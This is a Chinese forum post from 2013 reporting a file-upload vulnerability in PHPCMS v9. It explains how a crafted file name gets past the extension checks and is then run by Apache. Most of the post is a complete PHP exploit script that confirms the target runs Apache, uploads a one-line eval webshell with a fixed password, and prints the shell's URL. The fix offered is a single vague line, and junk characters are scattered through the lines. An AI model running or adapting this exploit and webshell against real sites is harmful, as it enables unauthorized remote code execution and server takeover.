找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2316|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行
8 Z4 L+ ^" r& j7 `# z) B$ N6 ]) O, R0 j# V3 N1 o, {, [
简要描述:
0 A" m+ ~6 P5 |+ l9 }* ^( x9 z
; y5 ^0 }2 u5 N9 s. r" Yphpcms v9 getshell (apache)) `" W3 c) ?) B3 g
详细说明:! D/ n" J- u: K1 r0 E9 R* P

" O8 r8 C1 [0 E$ V  |漏洞文件:phpcms\modules\attachment\attachments.php
& }& O$ x% x4 {3 o
; m3 v) ^0 G( {( z0 j$ I# E6 m! ^8 ~public function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  } 8 q, b$ b- c4 D* i! u
后缀检测:phpcms\modules\attachment\functions\global.func.php' i% c: X8 |: A* x

+ p7 S# S7 w* `9 Q2 U+ J/ ~) @1 x
6 ~" D8 M4 V. K: @' e& v* T. K% y' k' c, [' X* E: `
function is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  
! c2 j& d; q+ Y. b- T( U! B4 r
5 T. X0 d  n" D5 T关键函数:
2 t, ^$ p3 s' Q2 U1 F! @3 U
0 Z# I2 b6 G  k. W6 y. L / F% L8 E6 y& R2 Y2 x; Z" ^# L
9 _7 S8 `- [" ?/ g4 w* A$ e$ C3 `* k
function fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  
$ i1 d) R. J* q& A8 n( E& S# X& l) z4 T% c4 U0 V& A
  Fileext函数是对文件后缀名的提取。
' T6 X0 m1 Q( t根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
  T, D+ S8 G, _( s! j0 f7 b$ F  C经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。% p- B" G) s+ r
我们回到public function crop_upload() 函数中
7 k& y0 Z9 [# ^2 Nif(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();+ ^: A; d  M2 {/ Z; V; Q( q
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数0 U' C: p. K$ M' Z4 u
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
# ?5 }4 {+ w# h/ m, X- l& O# v经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
3 A; E5 \' M1 {& r最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。7 @8 n$ i! W# y& x! T
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
2 N. ]) k& Q* V* n, K1 ?漏洞证明:
7 I! M4 }7 s7 O0 q
" A& e# o# O& o* lexp:
. l  O( D8 E! m) z8 {0 `3 P! f9 o  x1 B9 A3 z
<?php1 i  b" Y( {1 n8 E, G6 A* q% Y
error_reporting(E_ERROR);
1 R5 @! i+ W) r9 b9 h! Q, Fset_time_limit(0);
9 ~& |- @8 E# J* ]* `; y$pass="ln";
" m4 @6 N) s5 P# b9 p& I4 ~! kprint_r('$ @# O1 G6 T! X; t" y4 `, _: @2 m
+---------------------------------------------------------------------------+" C/ D" w  W1 J4 L8 ^& z
PHPCms V9 GETSHELL 0DAY
. \/ a9 T$ N% e4 o7 b# x: k; |: scode by L.N.( q1 R: l/ ?8 h3 H+ O5 v- C
( a+ s5 o- e. W. q) c% C7 X% k* T
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net7 z/ V! x7 `5 W( D# V; E
+---------------------------------------------------------------------------+! d: w. C, N1 y: Q2 x2 X* u; n5 T( [
');
0 P. Q4 d* S# w& r0 n; d$ Zif ($argc < 2) {6 v( x1 K  D9 s$ x3 D6 K: f
print_r('
5 a, a' t! k+ T8 b% c+---------------------------------------------------------------------------+
, k) U( }  m0 [  lUsage: php '.$argv[0].' url path) Y9 E, ]' q( N" F% z% A6 `% k
" F) P9 j8 M( |% S; `/ F
Example:
2 Z' [8 `: y7 c" i1.php '.$argv[0].' lanu.sinaapp.com. U# U5 ?; F2 H8 r. m
2.php '.$argv[0].' lanu.sinaapp.com /phpcms4 `! O9 I+ @  ~0 ~5 H, c
+---------------------------------------------------------------------------+3 A" l1 t% v. _' a5 g
');$ m. q1 f+ l4 I5 K) r0 n* t
exit;
- e, R' ]% f9 `; n1 L* g, K}
2 Y% o3 J/ Z( y, l) d4 a) j; G; j+ c* h6 M) o+ |
$url = $argv[1];
4 H* k4 x+ ?  e2 n/ T$path = $argv[2];
" _! g. `# t' S2 b$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
; l# P/ U/ Y0 i* i. K- L$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
% J+ @, O: n; G1 E" }9 c9 \if($ret=Create_dir($url,$path))
5 K% I6 B2 s0 W5 S) L8 [{
7 ]  J1 ^# r. Z; }, D# Q. w" K; o//echo $ret;
. T, z# g$ C6 Y$pattern = "|Server:[^,]+?|U";6 B8 {5 R5 O  T
preg_match_all($pattern, $ret, $matches);& |9 W8 K/ I3 u( |4 J
if($matches[0][0])
  T+ d! x3 D& ^' t7 J6 }( L+ t{
8 W0 c1 z# ]/ X, W# aif(strpos($matches[0][0],'Apache') == false)
* ~7 [5 P) o& F9 @$ x) d, {" c{
7 q4 j& S. }+ {" [5 [! [echo "\n亲!此网站不是apache的网站。\n";exit;7 n5 U6 o* r2 b( v) ~: u7 y1 E( y
}
# ?+ j) a& ?+ G! s1 |}
+ R. C' `/ j. ?7 `# t* \$ret = GetShell($url,$phpshell,$path,$file);" B2 s+ r+ ]9 H" A9 w6 n
$pattern = "|http:\/\/[^,]+?\.,?|U";+ u) m+ i% Y* t- x, k* u
preg_match_all($pattern, $ret, $matches);
- M4 u: X: s- Tif($matches[0][0])
( F# |1 z* d1 q, h2 V; i{+ v' F2 B! }) m* \* g/ ^
echo "\n".'密码为: '.$pass."\n";9 u& E4 F( T; s* @3 N* K% Y4 L! Q
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
/ W: [$ w) B4 F; E' I}% q! G- q6 U& x' {! Z
else1 b5 b, m* Q* }$ z
{$ r! i% n/ l/ I0 [+ `0 u
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
2 l! u7 l( }8 Ppreg_match_all($pattern, $ret, $matches);  W3 v- @# T) j
if($matches[0][0])' G9 {+ i7 }. K) z. Z, Y
{$ ?; {: W7 Q! C( x5 j9 v
echo "\n".'密码为: '.$pass."\n";
% {8 T# `1 \1 C$ y! ?echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;; c" N  l4 ~" d+ M" y8 j- f
}
3 l/ ]! J% v4 P  T4 @1 @0 }! H; helse
. X. E4 Z) m3 @0 ^9 u" K( i{9 ]) p& B( d' r" J
echo "\r\n没得到!\n";exit;) x! t) i1 i7 Z" `" J7 m
}6 T. p" _7 p  `- r5 _2 \: D' g( n
}
- X- H7 e, ^# ~: G( [}
1 e# K: H7 x7 `3 I# M- b* E+ j' x3 D; H: d0 N
function GetShell($url,$shell,$path,$js)2 ]+ i3 H1 f# `. _# S2 ^
{
( S; i% r& E, j: I! a$content =$shell;
+ H4 L. E- D9 ]1 K) o, Y$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";4 u& s2 c' ~& |3 z- B3 q
$data .= "Host: ".$url."\r\n";  w' D  _! x) v9 T5 t6 I5 Z
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";; B: M1 B$ ]; H5 J' ?% y
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";1 Y* ^1 {& N$ k6 n1 g: P
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
7 d- k% v4 B0 N3 I+ w$ }7 X$data .= "Connection: close\r\n";
0 {, m; i2 o4 d5 i, k2 W. g! Q$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
- k" F7 f2 H& _6 t$data .= $content."\r\n";' v* Y  g+ u; k! V
$ock=fsockopen($url,80);- t5 P% ~7 p  R5 Z5 }1 S1 e( W
if (!$ock)& h( k  p  L  B1 e* B
{  \2 ~  q7 S' S, [: ]5 }
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;0 F# w6 C9 H* t8 S
}
* C: L8 r3 V& V; R* E2 @/ w/ \5 ]else. M6 F: H5 e* j* x7 N6 m
{
$ j" v+ i$ ?4 Y+ y$ u' c8 \fwrite($ock,$data);
: F5 l# x  m9 m/ V$resp = '';4 ~- a* L% H4 x* b- M
while (!feof($ock))9 r. V' a: r! {# n& f$ f6 b' v
{; E' v+ m* g4 z% M
$resp.=fread($ock, 1024);# p( S( c* J2 Z: C3 z
}
$ C6 V% ^$ o2 xreturn $resp;" E3 s9 S: f) e& o& b" l
}6 }. o1 S; i$ S1 J, J& a% [
}6 a6 ?% A1 v  t( c) ]) J
# o) O" Q4 z) x  X0 [
function Create_dir($url,$path='')
$ h  k+ Z+ U. q" V& e5 J{* P: O7 o. `9 c) k. }& q
$content ='I love you';- }4 [# q5 o% m. k' i
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
8 s! J1 A- }4 b, T  ]$data .= "Host: ".$url."\r\n";% R5 p: h  L4 e* M
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";- B( ]! ?/ K# ^$ x2 }( ]4 V
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
) X$ f/ h" ~6 l. ~* ^& C$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";+ h# ?$ z; l' [2 n
$data .= "Connection: close\r\n";5 d( [" y: I- i* H4 _0 }& z4 u
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";+ ]% [1 c( I9 E) g5 x: p# M
$data .= $content."\r\n";
- `: ]* m& O  `& K. c( A( N$ock=fsockopen($url,80);6 V, L* h: }' v+ D. k4 \, ]
if (!$ock)2 R/ S* `$ K1 z6 u
{
% |% d$ W& l8 V4 S7 m  [9 O: yecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;0 I$ E6 o* H0 i8 Q! j4 o. S
}* `! \0 M5 Y: N5 w; C' x( m/ O, q
fwrite($ock,$data);) Y% m# R4 z  U: N3 f# Y- R( `, W
$resp = '';* U& o" ^! P* N- z
while (!feof($ock))8 G9 e# L* u. l8 r
{  g4 X) L- o) P- d7 C1 B6 l
$resp.=fread($ock, 1024);/ c6 }$ P( C: f
}
+ @0 _( q$ |/ t! K' O5 @return $resp;1 x; f5 j) B) b; w6 J. ]  x
}4 C. i. E+ _  C/ }
?> $ x3 ~8 [* R; T

4 _4 |) l) C( P. F修复方案:. z' P! K" t( w, {* y7 k$ n* e5 j+ F) C

3 M1 s, K( o) t- |0 k7 [! b过滤过滤再过滤! F$ T% s* q  D' M! T. N. s
1 `9 U- C8 Q4 }% j1 d  Q: [9 Q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表